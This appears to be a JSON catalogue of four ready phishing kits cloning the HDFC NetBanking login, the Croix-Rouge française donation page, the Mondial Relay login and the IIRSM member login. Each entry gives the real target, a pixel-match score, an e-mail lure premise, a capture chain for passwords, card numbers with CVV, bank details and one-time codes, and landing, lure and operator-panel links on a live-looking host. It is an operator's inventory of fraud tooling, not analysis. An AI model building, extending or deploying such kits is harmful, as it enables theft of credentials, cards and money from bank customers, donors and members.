{"generated": "2026-10-21", "kits": [{"slug": "hdfc-netbanking", "name": "HDFC NetBanking", "brand": "HDFC Bank", "monogram": "HDFC", "category": "Banking", "region": "India", "lang": "EN", "target": "https://netbanking.hdfcbank.com/netbanking/", "port": 8011, "pixel": "99.96%", "chain_length": 4, "summary": "Pixel clone of the HDFC NetBanking login with a four-stage capture: Customer ID, password, debit card (PAN/expiry/CVV) and SMS OTP. The card panel reuses the real page's device-verification field ids.", "entrypoint": "New-device e-mail lure or a direct link. The lure tells the victim the session is held until the registered debit card is verified.", "chain": ["Customer ID / User ID (real field)", "Password (real field)", "Debit card PAN, expiry, CVV (native-styled panel, Luhn + expiry validation)", "SMS OTP with resend"], "captured": ["email (the Customer ID)", "password", "card_pan, card_exp, card_cvv, card_pan_masked", "otp", "rail, IP, user agent, timestamps"], "tags": ["banking", "card", "otp", "india", "netbanking"], "usecase_count": 3, "links": {"landing": "https://hdfc.87-58-152-45.sslip.io/", "lure": "https://hdfc.87-58-152-45.sslip.io/email.html", "ops": "https://hdfc.87-58-152-45.sslip.io/ops", "preview": "/media/hdfc-netbanking/real.png", "fake": "/media/hdfc-netbanking/fake.png", "diff": "/media/hdfc-netbanking/diff.png", "demo": "/demo/hdfc-demo.mp4"}}, {"slug": "croix-rouge", "name": "Croix-Rouge française", "brand": "Croix-Rouge française", "monogram": "CR", "category": "Donation", "region": "France", "lang": "FR", "target": "https://www.croix-rouge.fr/je-donne", "port": 8012, "pixel": "99.66%", "chain_length": 4, "summary": "Clone of the Croix-Rouge donation page with a full card + 3-D Secure capture flow, French UI, EUR amounts and tax-deduction copy. The real amount picker is preserved and drives the panel.", "entrypoint": "A 'don en attente de validation' e-mail, or a direct link. The victim starts on the real donation form and clicks Je donne.", "chain": ["Amount and frequency (real form controls)", "Donor identity: name, e-mail, address (for the fake tax receipt)", "Card number, expiry, CVV, holder", "Fake 3-D Secure code screen"], "captured": ["holder, email, address", "card, exp, cvv", "otp (3-D Secure code)", "amount, frequency", "IP, user agent, timestamps"], "tags": ["donation", "card", "3ds", "france", "ngo"], "usecase_count": 4, "links": {"landing": "https://croix.87-58-152-45.sslip.io/", "lure": "https://croix.87-58-152-45.sslip.io/email.html", "ops": "https://croix.87-58-152-45.sslip.io/ops", "preview": "/media/croix-rouge/real.png", "fake": "/media/croix-rouge/fake.png", "diff": "/media/croix-rouge/diff.png", "demo": null}}, {"slug": "mondial-relay", "name": "Mondial Relay", "brand": "Mondial Relay", "monogram": "MR", "category": "Logistics", "region": "France", "lang": "FR", "target": "https://www.mondialrelay.fr/connexion-inscription/", "port": 8013, "pixel": "100.00%", "chain_length": 2, "summary": "Email-first clone of the Mondial Relay login with a French 'new device login' lure and an SMTP sender. Capture is identifier → password, with operator-driven OTP/PIN follow-ups.", "entrypoint": "A French 'nouvelle connexion depuis un appareil inconnu' e-mail sent from the kit itself, or a direct link to the cloned login.", "chain": ["Phone or e-mail (real field)", "Password (rebuilt with the page's design-system classes)", "Optional operator asks: OTP, PIN, password again, custom field"], "captured": ["email (phone or e-mail as typed)", "password", "answers (OTP, PIN, custom fields)", "IP, user agent, timestamps"], "tags": ["logistics", "credentials", "otp", "france", "email"], "usecase_count": 4, "links": {"landing": "https://mr.87-58-152-45.sslip.io/", "lure": "https://mr.87-58-152-45.sslip.io/email.html", "ops": "https://mr.87-58-152-45.sslip.io/ops", "preview": "/media/mondial-relay/real.png", "fake": "/media/mondial-relay/fake.png", "diff": "/media/mondial-relay/diff.png", "demo": null}}, {"slug": "iirsm", "name": "IIRSM MyIIRSM", "brand": "IIRSM", "monogram": "IIRSM", "category": "Membership", "region": "United Kingdom", "lang": "EN", "target": "https://www.iirsm.org/login", "port": 8014, "pixel": "99.50%", "chain_length": 4, "summary": "Pixel clone of the IIRSM MyIIRSM member login (Statamic, real form posts to /!/auth/login) with a four-step chain: email + password, then a native-styled 'Confirm your payment details' panel with Card (PAN/expiry/CVC, Luhn-checked) and Direct Debit (holder/sort code/account) tabs, then a bank OTP screen. Both payment rails share one schema via rail: card|dd.", "entrypoint": "A brand-matched 'New device sign-in' e-mail lure, or a direct link. Copy hooks for member number / amount / wrong-document variants are documented in NOTES.md and sourced from researches/northstandard/deep.", "chain": ["Email (real field)", "Password (real field)", "Payment panel — Card tab: PAN, expiry, CVC, name (Luhn + expiry validation)", "Payment panel — Direct Debit tab: holder, sort code, account number", "Bank OTP with operator re-ask"], "captured": ["email", "password", "card_pan, card_exp, card_cvv, card_name, card_pan_masked (rail=card)", "bank_holder, bank_sort, bank_account, bank_account_masked (rail=dd)", "otp", "rail, IP, user agent, timestamps"], "tags": ["membership", "card", "direct-debit", "otp", "uk"], "usecase_count": 3, "links": {"landing": "https://iirsm.87-58-152-45.sslip.io/", "lure": "https://iirsm.87-58-152-45.sslip.io/email.html", "ops": "https://iirsm.87-58-152-45.sslip.io/ops", "preview": "/media/iirsm/real.png", "fake": "/media/iirsm/fake.png", "diff": "/media/iirsm/diff.png", "demo": null}}]}